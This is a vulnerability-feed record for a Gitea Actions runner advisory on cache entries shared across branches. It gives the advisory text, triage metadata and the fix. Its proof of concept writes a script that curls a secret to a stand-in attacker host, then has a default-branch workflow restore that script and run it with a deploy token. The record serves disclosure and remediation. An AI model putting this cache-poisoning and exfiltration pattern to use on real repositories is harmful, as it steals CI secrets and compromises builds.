{"id":"GHSA-7c33-wq58-g35r","kind":"vulnerability","aliases":["GHSA-7c33-wq58-g35r"],"related":[],"title":"Runner cache shared entries across branches, letting branch writers poison default-branch builds","description":"### Summary\n\nBefore runner v5.3.0, the runner's cache server did not scope entries by ref. A cache saved by a job on any branch could be restored by jobs on the default branch, so anyone who can push a branch could plant files that a default-branch workflow restores and runs with that workflow's secrets. The poisoned entry stays in place for every later build until its key changes.\n\n### Details\n\nThe cache server in `act/artifactcache` keyed entries only by the workflow's `key:` and version, without the branch or tag that saved them. Any default-branch workflow whose key does not include the ref is exposed. That includes the common `key: deps-${{ hashFiles('package-lock.json') }}`, since the attacker can keep the lockfile unchanged.\n\n### Proof of concept\n\nOn a non-protected branch, save a script under a fixed key:\n\n```yaml\non: push\njobs:\n  save:\n    runs-on: ubuntu-latest\n    steps:\n      - run: printf '#!/bin/bash\\ncurl -s --data \"secret=$S\" https://attacker.example\\n' > build.sh\n      - uses: actions/cache@v4\n        with:\n          path: build.sh\n          key: build-tool\n```\n\nA default-branch workflow that restores the same key and runs it:\n\n```yaml\non: push\njobs:\n  build:\n    if: github.ref == 'refs/heads/main'\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/cache@v4\n        with:\n          path: build.sh\n          key: build-tool\n      - run: bash build.sh\n        env:\n          S: ${{ secrets.DEPLOY_TOKEN }}\n```\n\nThe default-branch job reports a cache hit, runs the planted script and sends the secret to the attacker.\n\n### Impact\n\nAnyone who can push a branch can run code in the default-branch workflows of that repository and read their secrets, bypassing branch protection, whenever such a workflow restores and executes a cache under a key without the ref.\n\n### Patches\n\nFixed in runner v5.3.0 by https://gitea.com/gitea/runner/pulls/1361. A job now saves caches to its own ref and restores them from its own ref, its pull request's base branch and the default branch, as on GitHub.\n\n### Workarounds\n\nUpgrade the runner, or include the ref in cache keys, for example `key: deps-${{ github.ref }}-${{ hashFiles('package-lock.json') }}`.","summary":"The Gitea Actions runner's cache server does not scope cache entries by branch or tag, so a job on any branch can save files that default-branch jobs later restore and execute. An attacker who can push a branch can run code in default-branch workflows and read their secrets.","severity":"high","cvss":8.2,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"gitea.com/gitea/runner","fixed":["5.3.0"],"affected":"< 5.3.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["ci","cwe-349","gitea","gitea-actions","runtime","self-hosted"],"not_affected_if":["no-cache-usage","ref-in-cache-key","runner-5.3.0-or-later"],"how_to_check":"- Check the runner version with `act_runner --version` or the module version of `gitea.com/gitea/runner` in your go.mod.\n- Look for workflows on the default branch that use `actions/cache` with a key that does not include `github.ref`.","fix":"- `gitea.com/gitea/runner` `5.3.0`\n- Workaround per the advisory: include the ref in cache keys, e.g. `key: deps-${{ github.ref }}-${{ hashFiles('package-lock.json') }}`.","status":"open","published_at":"2026-11-13T07:00:02+00:00","first_seen_at":"2026-11-13T07:04:22+00:00","triaged_at":"2026-11-13T07:05:17+00:00","updated_at":"2026-11-13T07:05:17+00:00","category":"runtime","confidence":0.85,"triage":{"at":"2026-11-13T07:05:17Z","model":"claude-haiku-5-5","output":{"fix":"- `gitea.com/gitea/runner` `5.3.0`\n- Workaround per the advisory: include the ref in cache keys, e.g. `key: deps-${{ github.ref }}-${{ hashFiles('package-lock.json') }}`.","reach":"internet","title":"Gitea runner: cache entries cross branches, letting branch writers poison default builds","impact":"high","summary":"The Gitea Actions runner's cache server does not scope cache entries by branch or tag, so a job on any branch can save files that default-branch jobs later restore and execute. An attacker who can push a branch can run code in default-branch workflows and read their secrets.","audience":"developers","category":"runtime","nicknames":[],"who_cares":["gitea","gitea-actions","ci","self-hosted"],"confidence":0.85,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker code runs in default-branch workflows and exfiltrates repository secrets","analyst_note":"","how_to_check":"- Check the runner version with `act_runner --version` or the module version of `gitea.com/gitea/runner` in your go.mod.\n- Look for workflows on the default branch that use `actions/cache` with a key that does not include `github.ref`.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["runner-5.3.0-or-later","ref-in-cache-key","no-cache-usage"],"who_is_affected":"Teams running the Gitea Actions runner (gitea.com/gitea/runner) below 5.3.0 whose default-branch workflows restore caches under keys that do not include the ref. Anyone who can push a non-protected branch can poison those caches. Workflows whose cache keys include the ref, or that do not use caches, are not exposed.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.000853,"input_tokens":5323,"output_tokens":641,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-349':30B '/bin/bash':247C '/gitea/runner':27A '/gitea/runner/pulls/1361.':380C '7c33':17A,22A 'across':5A 'act/artifactcache':168C 'action':34B,41B 'actions/cache':257C,295C 'anyon':126C,332C 'attack':74B,211C,330C 'attacker.example':253C 'base':401C 'bash':305C 'branch':6A,8A,13A,52B,60B,67B,79B,86B,115C,124C,131C,139C,181C,190C,225C,269C,314C,337C,345C,355C,402C,406C 'build':14A,158C,264C,283C,302C 'build-tool':263C,301C 'build.sh':255C,261C,299C,306C 'bypass':354C 'cach':2A,44B,49B,99C,108C,165C,318C,365C,385C,419C 'chang':162C 'ci':28B 'code':82B,340C 'common':204C 'concept':219C 'could':116C,132C 'cwe':29B 'data':250C 'default':12A,66B,85B,123C,138C,189C,268C,313C,344C,405C 'default-branch':11A,65B,84B,137C,188C,267C,312C,343C 'dep':206C,424C 'detail':163C 'entri':4A,50B,104C,151C,170C 'env':307C 'everi':156C 'exampl':422C 'execut':72B,363C 'expos':200C 'file':63B,134C 'fix':231C,373C 'g35r':19A,24A 'ghsa':16A,21A 'ghsa-7c33-wq58-g35r':15A,20A 'gitea':31B,33B,40B 'gitea-act':32B 'gitea.com':26A,379C 'gitea.com/gitea/runner':25A 'gitea.com/gitea/runner/pulls/1361.':378C 'github':409C 'github.ref':285C,425C 'hashfil':207C,426C 'hit':319C 'host':38B 'impact':331C 'includ':196C,202C,415C 'job':57B,68B,112C,120C,236C,282C,315C,382C 'keep':213C 'key':161C,169C,176C,193C,205C,232C,262C,275C,300C,368C,420C,423C 'later':69B,157C 'latest':243C,292C 'let':7A 'lockfil':215C 'n':254C 'ncurl':248C 'non':223C 'non-protect':222C 'package-lock.json':208C,427C 'patch':372C 'path':260C,298C 'place':154C 'plant':133C,322C 'poison':10A,150C 'printf':246C 'proof':217C 'protect':224C,356C 'pull':398C 'push':77B,129C,235C,281C,335C 'read':89B,351C 'ref':106C,198C,371C,389C,396C,417C 'refs/heads/main':286C 'report':316C 'repositori':349C 'request':399C 'restor':70B,118C,141C,272C,361C,391C 'run':81B,143C,239C,245C,277C,288C,304C,320C,339C 'runner':1A,42B,94C,97C,375C,413C 'runs-on':238C,287C 'runtim':35B 'save':62B,109C,185C,226C,237C,384C 'scope':48B,103C 'script':228C,323C 'secret':91B,148C,251C,327C,353C 'secrets.deploy':309C 'self':37B 'self-host':36B 'send':325C 'server':45B,100C,166C 'share':3A 'sinc':209C 'stay':152C 'step':244C,293C 'summari':92C 'tag':54B,183C 'token':310C 'tool':265C,303C 'ubuntu':242C,291C 'ubuntu-latest':241C,290C 'unchang':216C 'upgrad':411C 'use':256C,294C 'v4':258C,296C 'v5.3.0':95C,376C 'version':178C 'whenev':357C 'whose':192C 'without':179C,369C 'workaround':410C 'workflow':87B,140C,146C,174C,191C,270C,346C,360C 'wq58':18A,23A 'writer':9A 'yaml':233C,279C","nicknames":[],"mitigations":[],"who_affected":"Teams running the Gitea Actions runner (gitea.com/gitea/runner) below 5.3.0 whose default-branch workflows restore caches under keys that do not include the ref. Anyone who can push a non-protected branch can poison those caches. Workflows whose cache keys include the ref, or that do not use caches, are not exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["giteacomgitearunner"],"ptokens":["com","gitea","runner"],"labels":["ci","cwe349","gitea","giteaactions","go","high","runtime","selfhosted"],"campaign_type":null,"search_a":"'/gitea/runner':27A '7c33':17A,22A 'across':5A 'branch':6A,8A,13A 'build':14A 'cach':2A 'default':12A 'default-branch':11A 'entri':4A 'g35r':19A,24A 'ghsa':16A,21A 'ghsa-7c33-wq58-g35r':15A,20A 'gitea.com':26A 'gitea.com/gitea/runner':25A 'let':7A 'poison':10A 'runner':1A 'share':3A 'wq58':18A,23A 'writer':9A","search_b":"'-349':30B 'action':34B,41B 'attack':74B 'branch':52B,60B,67B,79B,86B 'cach':44B,49B 'ci':28B 'code':82B 'cwe':29B 'default':66B,85B 'default-branch':65B,84B 'entri':50B 'execut':72B 'file':63B 'gitea':31B,33B,40B 'gitea-act':32B 'host':38B 'job':57B,68B 'later':69B 'push':77B 'read':89B 'restor':70B 'run':81B 'runner':42B 'runtim':35B 'save':62B 'scope':48B 'secret':91B 'self':37B 'self-host':36B 'server':45B 'tag':54B 'workflow':87B","search_c":"'/bin/bash':247C '/gitea/runner/pulls/1361.':380C 'act/artifactcache':168C 'actions/cache':257C,295C 'anyon':126C,332C 'attack':211C,330C 'attacker.example':253C 'base':401C 'bash':305C 'branch':115C,124C,131C,139C,181C,190C,225C,269C,314C,337C,345C,355C,402C,406C 'build':158C,264C,283C,302C 'build-tool':263C,301C 'build.sh':255C,261C,299C,306C 'bypass':354C 'cach':99C,108C,165C,318C,365C,385C,419C 'chang':162C 'code':340C 'common':204C 'concept':219C 'could':116C,132C 'data':250C 'default':123C,138C,189C,268C,313C,344C,405C 'default-branch':137C,188C,267C,312C,343C 'dep':206C,424C 'detail':163C 'entri':104C,151C,170C 'env':307C 'everi':156C 'exampl':422C 'execut':363C 'expos':200C 'file':134C 'fix':231C,373C 'gitea.com':379C 'gitea.com/gitea/runner/pulls/1361.':378C 'github':409C 'github.ref':285C,425C 'hashfil':207C,426C 'hit':319C 'impact':331C 'includ':196C,202C,415C 'job':112C,120C,236C,282C,315C,382C 'keep':213C 'key':161C,169C,176C,193C,205C,232C,262C,275C,300C,368C,420C,423C 'later':157C 'latest':243C,292C 'lockfil':215C 'n':254C 'ncurl':248C 'non':223C 'non-protect':222C 'package-lock.json':208C,427C 'patch':372C 'path':260C,298C 'place':154C 'plant':133C,322C 'poison':150C 'printf':246C 'proof':217C 'protect':224C,356C 'pull':398C 'push':129C,235C,281C,335C 'read':351C 'ref':106C,198C,371C,389C,396C,417C 'refs/heads/main':286C 'report':316C 'repositori':349C 'request':399C 'restor':118C,141C,272C,361C,391C 'run':143C,239C,245C,277C,288C,304C,320C,339C 'runner':94C,97C,375C,413C 'runs-on':238C,287C 'save':109C,185C,226C,237C,384C 'scope':103C 'script':228C,323C 'secret':148C,251C,327C,353C 'secrets.deploy':309C 'send':325C 'server':100C,166C 'sinc':209C 'stay':152C 'step':244C,293C 'summari':92C 'tag':183C 'token':310C 'tool':265C,303C 'ubuntu':242C,291C 'ubuntu-latest':241C,290C 'unchang':216C 'upgrad':411C 'use':256C,294C 'v4':258C,296C 'v5.3.0':95C,376C 'version':178C 'whenev':357C 'whose':192C 'without':179C,369C 'workaround':410C 'workflow':140C,146C,174C,191C,270C,346C,360C 'yaml':233C,279C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-13T07:00:02+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-7c33-wq58-g35r","url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-7c33-wq58-g35r","severity":"high","published_at":"2026-11-13T07:00:02+00:00","modified_at":"2026-11-13T07:01:27+00:00","first_seen_at":"2026-11-13T07:04:22+00:00","fetched_at":"2026-11-13T07:49:40+00:00","note":null}],"documents":[{"id":143495,"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-7c33-wq58-g35r","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}